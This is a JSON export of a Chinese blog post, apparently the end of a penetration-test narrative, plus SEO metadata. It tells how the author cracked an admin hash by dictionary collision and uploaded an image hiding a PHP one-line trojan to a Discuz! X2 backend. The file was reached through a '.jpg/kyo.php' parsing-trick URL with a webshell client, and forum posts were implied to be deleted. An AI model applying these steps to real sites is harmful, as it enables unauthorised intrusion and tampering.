        \u6211\u4f7f\u7528\u81ea\u5df1\u4fdd\u5b58\u7684100M\u5927\u5b57\u5178\u7834\u89e3\u6ca1\u6709\u6210\u529f\u3002\u540e\u6765\u6211\u628a\u8fd9\u4e2a\u811a\u672c\u653e\u5728\u4e86\u4e00\u670b\u53cb\u7684\u670d\u52a1\u5668\u4e0a\uff0c\u7136\u540e\u7528superdic\u751f\u6210\u4e863G\u7684\u5927\u5b57\u5178\uff0c\u76f4\u63a5\u4e22\u5728\u670d\u52a1\u5668\u4e0a\u78b0\u649e\u5427\u3002<\/span><\/p>\n

         <\/span><\/strong><\/p>\n

        \u5176\u5b9e\u6211\u575a\u4fe1\uff0c\u57288\u4f4d\u7684\u5b57\u6bcd\u52a0\u6570\u5b57\u7684\u5927\u5b57\u5178\u4e2d\u53bb\u505a\u78b0\u649e\u7684\u8bdd\u80af\u5b9a\u4f1a\u6210\u529f\u7684\u3002\u53ea\u662f\u6211\u6ca1\u6709\u90a3\u4e48\u5927\u7684\u786c\u76d8\uff0c\u53ea\u505a\u4e866\u4f4d\u5b57\u6bcd\u6765\u6d4b\u8bd5\u3002<\/span><\/p>\n

        \u53c8\u7ecf\u8fc7\u4e00\u5929\u540e\uff0c\u7b49\u6211\u767b\u9646\u670b\u53cb\u7684\u670d\u52a1\u56683389\u4e4b\u65f6\uff0c\u6211\u53d1\u73b0\u5f97\u5230\u4e86\u7ed3\u679c\u5982\u56fe25\uff1a<\/span><\/p>\n

        \"\"<\/p>\n

                        \u56fe25<\/span><\/p>\n

        \u6211\u6562\u80af\u5b9a\uff0cufedys\u80af\u5b9a\u4e0d\u662f\u8fd9\u4e2a\u7ba1\u7406\u5458\u7684\u7b54\u6848\u3002\u4e8e\u662fhash\u76f8\u540c\uff0c\u660e\u6587\u5374\u4e0d\u76f8\u540c\u7684\u78b0\u649e\u7ec8\u4e8e\u6210\u529f\u4e86\u3002\u6211\u9ed8\u9ed8\u5728\u5fc3\u91cc\u8bf4\u4e86\u58f0\uff1a\u78b0\u649eV5\u3002<\/span><\/p>\n

        \u5269\u4e0b\u7684\u5e94\u8be5\u6bd4\u8f83\u5bb9\u6613\u4e86\uff0c\u767b\u5165\u540e\u53f0\uff0c\u4e0a\u4f20\u4e00\u4e2a\u5e26php\u4e00\u53e5\u8bdd\u6728\u9a6c\u7684\u7f8e\u5973\u56fe\u7247\u3002\uff08\u4e0d\u8981\u544a\u8bc9\u6211\uff0c\u4f60\u5728discuz! X2\u540e\u53f0\u627e\u4e0d\u5230\u4e0a\u4f20\u7684\u5730\u65b9\u554a\uff09\u3002\u7136\u540e\u5229\u7528\u7c7b\u4f3c\u8fd9\u6837\u7684url\uff1a<\/span><\/p>\n

        http:\/\/www.222.com\/data\/attachment\/common\/cf\/212018txqnu4rcee3iek52.jpg\/kyo.php \u8fde\u63a5\u83dc\u5200\uff0c\u5c31\u8fd9\u6837\u5f7b\u5e95\u62ff\u4e0b\u4e86\u8be5\u76ee\u6807\u3002<\/span><\/p>\n

        \u65e2\u7136Webshell\u90fd\u62ff\u5230\u4e86\uff0c\u5220\u5e16\u5b50\u8fd9\u4e48\u7b80\u5355\u7684\u4e8b\u60c5\u8fd8\u7528\u6211\u7ee7\u7eed\u8bf4\u5417\uff1f<\/span><\/p>\n

        0<\/span><\/strong>\u00d70f \u540e\u8bb0<\/span><\/strong><\/p>\n

           <\/span><\/strong>\u5230\u8fd9\u91cc\uff0c\u8d39\u65f6\u4e24\u5468\u7684\u6e17\u900f\u4e5f\u7b97\u662f\u7ed3\u675f\u4e86\uff0c\u5b9e\u6218\u8fc7\u7a0b\u4e2d\u5176\u5b9e\u8fd8\u9047\u5230\u4e86\u66f4\u591a\u7684\u5404\u79cd\u5404\u6837\u95ee\u9898\uff0c\u53ea\u4e0d\u8fc7\u672c\u6587\u662f\u540e\u6765\u8865\u5199\u7684\uff0c\u5f88\u591a\u7ec6\u8282\u90fd\u5fd8\u5374\u4e86\uff0c\u4f46\u4e3b\u8981\u7684\u4e1c\u897f\u90fd\u5df2\u7ecf\u5728\u6587\u7ae0\u4e2d\u4f53\u73b0\u4e86\u3002<\/span><\/p>\n

           \u6700\u540e\u6211\u8fd8\u662f\u60f3\u63d0\u4e00\u63d0\u56fd\u5185\u7684\u5b89\u5168\u73b0\u72b6\uff0c\u4e0d\u51fa\u4e8b\u4e0d\u4ee3\u8868\u4f60\u4eec\u6ca1\u6709\u88ab\u5165\u4fb5\u8fc7\uff0c\u5728\u6211\u5de5\u4f5c\u8fc7\u7684\u8fd9\u51e0\u5e74\uff0c\u505a\u4e86\u4e0d\u5c11\u5b89\u5168\u68c0\u6d4b\uff0c\u6bcf\u6b21\u6e17\u900f\u6d4b\u8bd5\u62ff\u5230shell\u4e4b\u65f6\uff0c\u5927\u90fd\u53d1\u73b0\u6709\u9ed1\u5ba2\u8fdb\u6765\u7684\u75d5\u8ff9\uff0c\u8fd9\u4e9b\u8fd8\u90fd\u662f\u4e0d\u77e5\u9053\u6253\u626b\u65e5\u5fd7\u7684\u83dc\u9e1f\u5462\u3002\u5b89\u5168\u5708\u5185\u6d41\u4f20\u4e00\u53e5\u8bdd\uff0c\u53ea\u8981\u6709\u6bc5\u529b\u6ca1\u6709\u65e5\u4e0d\u4e0b\u6765\u7684\u7ad9\uff0c\u6211\u6df1\u4fe1\u4e4b\u3002\u4ee5\u6211\u8fd9\u79cd\u83dc\u9e1f\u7684\u6c34\u5e73\uff0c\u5728\u522b\u4eba\u7ed9\u6211\u76ee\u6807\u65f6\u6211\u90fd\u53ef\u4ee5\u4fdd\u8bc150%\u7684\u6210\u529f\u7387\uff0c\u8fd8\u7528\u8bf4\u56fd\u5185\u5f52\u9690\u7684\u5404\u79cd<\/span>\u5927\u725b\u5417\uff1f<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"

        \u4f5c\u8005:    kyo327<\/span>
        EMail:   humour327@163.com<\/span>
        QQ:      10952989<\/span>
        \u65e5\u671f:    2012-01-12<\/span><\/p>\n

        [ \u76ee\u5f55 ]<\/span>
        0\u00d700 \u524d\u8a00<\/span>
        0\u00d701 \u521d\u671f\u7684\u63a2\u7d22<\/span>
        0\u00d702 \u770b\u5230\u4e00\u70b9\u5e0c\u671b<\/span>
        0\u00d703 \u4ece\u4e8c\u7ea7\u57df\u540d\u5165\u624b<\/span>
        0…<\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[321],"tags":[],"class_list":["post-6","post","type-post","status-publish","format-standard","hentry"],"yoast_head":"\n\u4e00\u6b21\u8270\u96be\u7684\u6e17\u900f\u7eaa\u5b9e - Wayne's Blog<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"http:\/\/weizn.net\/?p=6\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u4e00\u6b21\u8270\u96be\u7684\u6e17\u900f\u7eaa\u5b9e - Wayne's Blog\" \/>\n<meta property=\"og:description\" content=\"\u4f5c\u8005:    kyo327EMail:   humour327@163.comQQ:      10952989\u65e5\u671f:    2012-01-12[ \u76ee\u5f55 ]0\u00d700 \u524d\u8a000\u00d701 \u521d\u671f\u7684\u63a2\u7d220\u00d702 \u770b\u5230\u4e00\u70b9\u5e0c\u671b0\u00d703 \u4ece\u4e8c\u7ea7\u57df\u540d\u5165\u624b0...\" \/>\n<meta property=\"og:url\" content=\"http:\/\/weizn.net\/?p=6\" \/>\n<meta property=\"og:site_name\" content=\"Wayne's Blog\" \/>\n<meta property=\"article:published_time\" content=\"2012-07-19T09:48:18+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/www.unshadow.com\/wp-content\/uploads\/2012\/04\/1.jpg\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"zinan\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"14 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebSite\",\"@id\":\"http:\/\/weizn.net\/#website\",\"url\":\"http:\/\/weizn.net\/\",\"name\":\"Wayne's Blog\",\"description\":\"\",\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"http:\/\/weizn.net\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"ImageObject\",\"@id\":\"http:\/\/weizn.net\/?p=6#primaryimage\",\"inLanguage\":\"zh-Hans\",\"url\":\"http:\/\/www.unshadow.com\/wp-content\/uploads\/2012\/04\/1.jpg\",\"contentUrl\":\"http:\/\/www.unshadow.com\/wp-content\/uploads\/2012\/04\/1.jpg\"},{\"@type\":\"WebPage\",\"@id\":\"http:\/\/weizn.net\/?p=6#webpage\",\"url\":\"http:\/\/weizn.net\/?p=6\",\"name\":\"\\u4e00\\u6b21\\u8270\\u96be\\u7684\\u6e17\\u900f\\u7eaa\\u5b9e - Wayne's Blog\",\"isPartOf\":{\"@id\":\"http:\/\/weizn.net\/#website\"},\"primaryImageOfPage\":{\"@id\":\"http:\/\/weizn.net\/?p=6#primaryimage\"},\"datePublished\":\"2012-07-19T09:48:18+00:00\",\"dateModified\":\"2012-07-19T09:48:18+00:00\",\"breadcrumb\":{\"@id\":\"http:\/\/weizn.net\/?p=6#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"http:\/\/weizn.net\/?p=6\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"http:\/\/weizn.net\/?p=6#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\\u9996\\u9875\",\"item\":\"http:\/\/weizn.net\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\\u4e00\\u6b21\\u8270\\u96be\\u7684\\u6e17\\u900f\\u7eaa\\u5b9e\"}]},{\"@type\":\"Article\",\"@id\":\"http:\/\/weizn.net\/?p=6#article\",\"isPartOf\":{\"@id\":\"http:\/\/weizn.net\/?p=6#webpage\"},\"author\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"headline\":\"\\u4e00\\u6b21\\u8270\\u96be\\u7684\\u6e17\\u900f\\u7eaa\\u5b9e\",\"datePublished\":\"2012-07-19T09:48:18+00:00\",\"dateModified\":\"2012-07-19T09:48:18+00:00\",\"mainEntityOfPage\":{\"@id\":\"http:\/\/weizn.net\/?p=6#webpage\"},\"wordCount\":2692,\"commentCount\":2,\"publisher\":{\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\"},\"image\":{\"@id\":\"http:\/\/weizn.net\/?p=6#primaryimage\"},\"thumbnailUrl\":\"http:\/\/www.unshadow.com\/wp-content\/uploads\/2012\/04\/1.jpg\",\"articleSection\":[\"\\u5e94\\u7528\\u5b89\\u5168\"],\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"http:\/\/weizn.net\/?p=6#respond\"]}]},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264\",\"name\":\"zinan\",\"logo\":{\"@id\":\"http:\/\/weizn.net\/#personlogo\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u4e00\u6b21\u8270\u96be\u7684\u6e17\u900f\u7eaa\u5b9e - Wayne's Blog","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"http:\/\/weizn.net\/?p=6","og_locale":"zh_CN","og_type":"article","og_title":"\u4e00\u6b21\u8270\u96be\u7684\u6e17\u900f\u7eaa\u5b9e - Wayne's Blog","og_description":"\u4f5c\u8005:    kyo327EMail:   humour327@163.comQQ:      10952989\u65e5\u671f:    2012-01-12[ \u76ee\u5f55 ]0\u00d700 \u524d\u8a000\u00d701 \u521d\u671f\u7684\u63a2\u7d220\u00d702 \u770b\u5230\u4e00\u70b9\u5e0c\u671b0\u00d703 \u4ece\u4e8c\u7ea7\u57df\u540d\u5165\u624b0...","og_url":"http:\/\/weizn.net\/?p=6","og_site_name":"Wayne's Blog","article_published_time":"2012-07-19T09:48:18+00:00","og_image":[{"url":"http:\/\/www.unshadow.com\/wp-content\/uploads\/2012\/04\/1.jpg"}],"twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"zinan","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"14 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebSite","@id":"http:\/\/weizn.net\/#website","url":"http:\/\/weizn.net\/","name":"Wayne's Blog","description":"","publisher":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"http:\/\/weizn.net\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"ImageObject","@id":"http:\/\/weizn.net\/?p=6#primaryimage","inLanguage":"zh-Hans","url":"http:\/\/www.unshadow.com\/wp-content\/uploads\/2012\/04\/1.jpg","contentUrl":"http:\/\/www.unshadow.com\/wp-content\/uploads\/2012\/04\/1.jpg"},{"@type":"WebPage","@id":"http:\/\/weizn.net\/?p=6#webpage","url":"http:\/\/weizn.net\/?p=6","name":"\u4e00\u6b21\u8270\u96be\u7684\u6e17\u900f\u7eaa\u5b9e - Wayne's Blog","isPartOf":{"@id":"http:\/\/weizn.net\/#website"},"primaryImageOfPage":{"@id":"http:\/\/weizn.net\/?p=6#primaryimage"},"datePublished":"2012-07-19T09:48:18+00:00","dateModified":"2012-07-19T09:48:18+00:00","breadcrumb":{"@id":"http:\/\/weizn.net\/?p=6#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["http:\/\/weizn.net\/?p=6"]}]},{"@type":"BreadcrumbList","@id":"http:\/\/weizn.net\/?p=6#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"http:\/\/weizn.net\/"},{"@type":"ListItem","position":2,"name":"\u4e00\u6b21\u8270\u96be\u7684\u6e17\u900f\u7eaa\u5b9e"}]},{"@type":"Article","@id":"http:\/\/weizn.net\/?p=6#article","isPartOf":{"@id":"http:\/\/weizn.net\/?p=6#webpage"},"author":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"headline":"\u4e00\u6b21\u8270\u96be\u7684\u6e17\u900f\u7eaa\u5b9e","datePublished":"2012-07-19T09:48:18+00:00","dateModified":"2012-07-19T09:48:18+00:00","mainEntityOfPage":{"@id":"http:\/\/weizn.net\/?p=6#webpage"},"wordCount":2692,"commentCount":2,"publisher":{"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264"},"image":{"@id":"http:\/\/weizn.net\/?p=6#primaryimage"},"thumbnailUrl":"http:\/\/www.unshadow.com\/wp-content\/uploads\/2012\/04\/1.jpg","articleSection":["\u5e94\u7528\u5b89\u5168"],"inLanguage":"zh-Hans","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["http:\/\/weizn.net\/?p=6#respond"]}]},{"@type":["Person","Organization"],"@id":"http:\/\/weizn.net\/#\/schema\/person\/e88bc12c590502d8b6249326f960b264","name":"zinan","logo":{"@id":"http:\/\/weizn.net\/#personlogo"}}]}},"_links":{"self":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts\/6","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=6"}],"version-history":[{"count":0,"href":"http:\/\/weizn.net\/index.php?rest_route=\/wp\/v2\/posts\/6\/revisions"}],"wp:attachment":[{"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=6"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=6"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/weizn.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=6"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}